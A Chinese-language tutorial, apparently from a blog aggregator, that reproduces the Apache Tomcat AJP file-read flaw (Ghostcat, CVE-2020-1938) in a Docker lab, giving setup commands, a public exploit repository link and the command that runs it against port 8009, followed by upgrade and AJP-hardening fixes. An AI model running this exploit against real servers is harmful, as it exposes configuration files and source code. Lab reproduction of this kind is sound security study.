当前位置: 首页 > news >正文

Apache Tomcat文件包含漏洞复现(详细教程)

1.漏洞原理

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者可通过构造特定参数读取webapp目录下的任意文件。

2.漏洞概述与分析

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

AJP Connector

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议

在conf/server.xml文件里,他对应的配置为

<Connectorport="8080"protocol="HTTP/1.1"connectionTimeout="20000"redirectPort=“8443” />而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

Ajp协议对应的配置为

<Connectorport="8009"protocol="AJP/1.3"redirectPort=“8443” />Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

Apache 服务器

(1)AJP是一个二进制的TCP传输协议。浏览器无法使用AJP,而是首先由Apache与Tomca进行AJP的通信,然后由Apache通过proxy_ajp模块进行反向代理,将其转换成 HTTP服务器再暴露给用户,允许用户进行访问。

(2)这样做的原因是,相对于HTTP纯文本协议来说,效率和性能更高,同时也做了很多优化。在某种程度上,AJP可以理解为HTTP的二进制版,因加快传输效率被广泛应用。实际情况是类似Apache这样有proxy_ajp模块可以反向代理AJP协议的服务器很少,所以 AJP协议在生产环境中也很少被用到。

3.影响范围

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

4.搭建弱点环境

4.1 Ubuntu

4.2 更新资源update

4.3 安装docker

sudo apt-get update

sudo apt-get install docker

sudo apt-get install docker.io

sudo apt-get install docker-registry

sudo docker version

4.4 安装nmap

apt-get install nmap

4.5 安装Tomcat

docker search Tomcat-8.5.32

docker pull duonghuuphuc/tomcat-8.5.32

4.6 查看拉取的Tomcat镜像

docker images

4.7 启动镜像

Dockerrun-d -p 8080:8080 -p 8009:8009 --name

ghostcat duonghuuphuc/tomcat-8.5.32

docker port ghostcat

4.8 查看ip地址为192.168.86.129

ifconfig -a

4.9 浏览器可以访问Tomcat页面表示环境搭建成功

192.168.86.129:8080

5.漏洞复现

5.1

docker exec -it ghostcat /bin/bash

cd webapps/ROOT/

5.2 添加测试文件

echo ‘this is CVE-2020-1938’>test.txt

ls

cat test.txt

5.3

exp地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

ls

5.4

cd CNVD-2020-10487-Tomcat-Ajp-lfi/

ls

chomd +x CNVD-2020-10487-Tomcat-Ajp-lfi.py

ls

5.5 利用exp读取该文件

****./****CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.86.129

测试读取成功

6.漏洞修复、防御方法

Apache Tomcat文件包含漏洞修复方式为更新高版本,目前Apache官方已发布9.0.31、8.5.51及7.0.100版本对此漏洞进行修复,如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施:若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost;若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。如下:

1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。

2、禁用或限制AJP协议。

编辑 /conf/server.xml,找到如下行:

<Connector port="8009"protocol=“AJP/1.3” redirectPort=“8443” />

将此行注释掉(也可删掉该行):

配置secret来设置AJP协议的认证凭证。

例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol=“AJP/1.3” redirectPort="8443"address=“YOUR_TOMCAT_IP_ADDRESS” secret=“YOUR_TOMCAT_AJP_SECRET”/>

3.配置访问控制:合理配置访问控制是防范漏洞的重要措施之一。通过配置适当的访问控制策略,可以限制对敏感文件的访问,并仅允许授权用户进行相关操作。

4.定期监测和更新:定期监测漏洞信息和安全公告,并及时更新相关软件和补丁,以确保系统的安全性和稳定性。

5.强化服务器安全性:除了针对特定漏洞采取措施外,还应加强整个服务器的安全性。例如,使用防火墙限制对服务器的访问、启用Web应用程序防火墙(WAF)、配置SSL/TLS加密传输、使用强密码和定期更换密码、禁用不必要的服务等。

相关文章:

Apache Tomcat文件包含漏洞复现(详细教程)

1.漏洞原理 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器&#xff0c;其安装后会默认开启ajp连接器&#xff0c;方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器&#xff0c;在中小型系统和并发访问用户不是很多的场合下被普遍使用&#xff0c;是开发…...

个人学习 - 什么是Vim?

观我往旧&#xff0c;同我仰春 - 2025.1.10 声明 仅作为个人学习使用&#xff0c;仅供参考 本文所有解释参考笔者个人理解&#xff0c;最终目的是服务于自我学习&#xff0c; 如果你需要了解官方更规范的解释&#xff0c;请自行查阅 Vim 是什么 Vim 是一个强大的 文本编辑器…...

Flink Gauss CDC:深度剖析存量与增量同步的创新设计

目录 设计思路 1.为什么不直接用FlinkCDC要重写Flink Gauss CDC 2.存量同步的逻辑是什么 2.1、单主键的切片策略是什么 2.2、​​​​​复合主键作切片,怎么保证扫描到所有的数据 3、增量同步的逻辑是什么 4、存量同步结束之后如何无缝衔接增量同步 5、下游数据如何落…...

docker 部署.netcore应用优势在什么地方?

目录 1. 环境一致性 2. 简化依赖管理 3. 快速部署与扩展 4. 资源利用率高 5. 版本控制与回滚 6. 安全性 7. 生态系统支持 8. 微服务架构支持 9. 降低成本 10. 开发体验提升 总结 使用 Docker 部署 .NET Core 应用有许多优势&#xff0c;特别是在开发、测试和生产环境…...

AIP-126 枚举

编号126原文链接AIP-126: Enumerations状态批准创建日期2019-07-24更新日期2019-07-24 一个域的值集合是一组数量有限的具体值&#xff0c;这是很常见的。此时使用枚举&#xff08;缩写为“enums”&#xff09;可有助于明确表达值集合的范围。 指南 API 可以 为不经常更改的…...

P3707 [SDOI2017] 相关分析 Solution

Description 给定序列 x ( x 1 , x 2 , ⋯ , x n ) , y ( y 1 , y 2 , ⋯ , y n ) x(x_1,x_2,\cdots,x_n),y(y_1,y_2,\cdots,y_n) x(x1​,x2​,⋯,xn​),y(y1​,y2​,⋯,yn​)&#xff0c;有 m m m 个操作&#xff0c;分三种&#xff1a; query ⁡ ( l , r ) \operatornam…...

Android AutoMotive --CarService

1、AAOS概述 Android AutoMotive OS是谷歌针对车机使用场景打造的操作系统&#xff0c;它是基于现有Android系统的基础上增加了新特性&#xff0c;最主要的就是增加了CarService&#xff08;汽车服务&#xff09;模块。我们很容易把Android AutoMotive和Android Auto搞混&…...

K8S中Service详解(三)

HeadLiness类型的Service 在某些场景中&#xff0c;开发人员可能不想使用Service提供的负载均衡功能&#xff0c;而希望自己来控制负载均衡策略&#xff0c;针对这种情况&#xff0c;kubernetes提供了HeadLiness Service&#xff0c;这类Service不会分配Cluster IP&#xff0c;…...

C++----STL(vector)

vector的介绍 vector的文档介绍&#xff1a;cplusplus.com/reference/vector/vector/ 1.基本概念 简单来说&#xff0c;vector是表示可以改变大小的数组的顺序容器。使用连续的存储位置来存储元素&#xff0c;因此可以通过常规指针的偏移量来高效访问。 2.内部机制 vector…...

Ubuntu24.04初始化MySQL报错 error while loading shared libraries libaio.so.1

Ubuntu24.04初始化MySQL报错 error while loading shared libraries: libaio.so.1 问题一&#xff1a;libaio1不存在 # 提示libaio1不存在 [rootzabbix-mysql-master.example.com x86_64-linux-gnu]#apt install numactl libaio1 Reading package lists... Done Building depe…...

初探大数据流式处理

文章目录 初探大数据流式处理批式处理系统特点流式处理系统特点大批次计算微批次计算适用场景 流式计算的应用场景流式大数据的特征流式计算的关键技术流式处理框架的特征三大流式数据处理框架 初探大数据流式处理 大数据处理系统主要分为批式处理和流式处理两类。批式处理将大…...

【Linux】Linux入门(三)权限

目录 前提权限概念whoami指令 Linux权限管理文件访问者的分类&#xff08;人&#xff09;file指令权限信息权限的表示方法 chmod指令 更改权限chown指令 修改文件&#xff0c;文件夹所属用户和用户组 权限掩码umask&#xff08;权限掩码&#xff09; 粘滞位 前提 请先看下面这…...

html,css,js的粒子效果

这段代码实现了一个基于HTML5 Canvas的高级粒子效果&#xff0c;用户可以通过鼠标与粒子进行交互。下面是对代码的详细解析&#xff1a; HTML部分 使用<!DOCTYPE html>声明文档类型。<html>标签内包含了整个网页的内容。<head>部分定义了网页的标题&#x…...

Spring Boot + Netty + WebSocket 实现消息推送

1、关于Netty Netty 是一个利用 Java 的高级网络的能力&#xff0c;隐藏其背后的复杂性而提供一个易于使用的 API 的客户端/服务器框架。 2、Maven依赖 <dependencies><!-- https://mvnrepository.com/artifact/io.netty/netty-all --><dependency><gr…...

Python3 【字符串】:方法和函数使用示例手册

Python3 【字符串】&#xff1a;方法和函数使用示例手册 Python 提供了丰富的字符串处理方法和函数&#xff0c;以下是一些常用的方法和函数分类整理&#xff0c;并提供详细使用示例&#xff0c;简单易懂&#xff0c;值得收藏。 1. 字符串大小写转换 str.upper()&#xff1a;…...

数据结构与算法整理复习(一):数据结构概念与线性表

目录 第一章&#xff1a;绪论 1.1 数据结构的基本概念 1.2 算法与算法评价 第二章&#xff1a;线性表 2.1 线性表的定义和基本操作 2.2 线性表的顺序表示&#xff08;顺序表&#xff09; 应用题 2.3 线性表的链式表达&#xff08;链表&#xff09; 2.3.1 单链表 2.3.2…...

【Block总结】PConv风车卷积,更大的感受野,提高特征提取能力|即插即用

论文信息 论文标题&#xff1a;《Pinwheel-shaped Convolution and Scale-based Dynamic Loss for Infrared Small Target Detection》 论文链接&#xff1a;https://arxiv.org/pdf/2412.16986 GitHub链接&#xff1a;https://github.com/JN-Yang/PConv-SDloss-Data 创新点 …...

Python新春烟花

目录 系列文章 写在前面 技术需求 完整代码 下载代码 代码分析 1. 程序初始化与显示设置 2. 烟花类 (Firework) 3. 粒子类 (Particle) 4. 痕迹类 (Trail) 5. 烟花更新与显示 6. 主函数 (fire) 7. 游戏循环 8. 总结 注意事项 写在后面 系列文章 序号直达链接爱…...

VirtualBox can‘t enable the AMD-V extension

个人博客地址&#xff1a;VirtualBox cant enable the AMD-V extension | 一张假钞的真实世界 最近一次完成Deepin的系统更新后&#xff0c;进入VirtualBox创建的虚拟机&#xff08;Widows10&#xff09;时&#xff0c;出现以下错误&#xff1a; 根据网址“https://askubuntu.…...

掘金--创意标题匹配问题

问题描述 在广告平台中&#xff0c;为了给广告主一定的自由性和效率&#xff0c;允许广告主在创造标题的时候以通配符的方式进行创意提交。线上服务的时候&#xff0c;会根据用户的搜索词触发的 bidword 对创意中的通配符&#xff08;通配符是用成对 {} 括起来的字符串&#x…...

【杂谈】-递归进化:人工智能的自我改进与监管挑战

递归进化&#xff1a;人工智能的自我改进与监管挑战 文章目录 递归进化&#xff1a;人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管&#xff1f;3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...

【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密

在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

质量体系的重要

质量体系是为确保产品、服务或过程质量满足规定要求&#xff0c;由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面&#xff1a; &#x1f3db;️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限&#xff0c;形成层级清晰的管理网络&#xf…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战

在现代战争中&#xff0c;电磁频谱已成为继陆、海、空、天之后的 “第五维战场”&#xff0c;雷达作为电磁频谱领域的关键装备&#xff0c;其干扰与抗干扰能力的较量&#xff0c;直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器&#xff0c;凭借数字射…...

C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)

名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...

Git常用命令完全指南:从入门到精通

Git常用命令完全指南&#xff1a;从入门到精通 一、基础配置命令 1. 用户信息配置 # 设置全局用户名 git config --global user.name "你的名字"# 设置全局邮箱 git config --global user.email "你的邮箱example.com"# 查看所有配置 git config --list…...

安卓基础(Java 和 Gradle 版本)

1. 设置项目的 JDK 版本 方法1&#xff1a;通过 Project Structure File → Project Structure... (或按 CtrlAltShiftS) 左侧选择 SDK Location 在 Gradle Settings 部分&#xff0c;设置 Gradle JDK 方法2&#xff1a;通过 Settings File → Settings... (或 CtrlAltS)…...

Axure 下拉框联动

实现选省、选完省之后选对应省份下的市区...

网页端 js 读取发票里的二维码信息(图片和PDF格式)

起因 为了实现在报销流程中&#xff0c;发票不能重用的限制&#xff0c;发票上传后&#xff0c;希望能读出发票号&#xff0c;并记录发票号已用&#xff0c;下次不再可用于报销。 基于上面的需求&#xff0c;研究了OCR 的方式和读PDF的方式&#xff0c;实际是可行的&#xff…...

第22节 Node.js JXcore 打包

Node.js是一个开放源代码、跨平台的、用于服务器端和网络应用的运行环境。 JXcore是一个支持多线程的 Node.js 发行版本&#xff0c;基本不需要对你现有的代码做任何改动就可以直接线程安全地以多线程运行。 本文主要介绍JXcore的打包功能。 JXcore 安装 下载JXcore安装包&a…...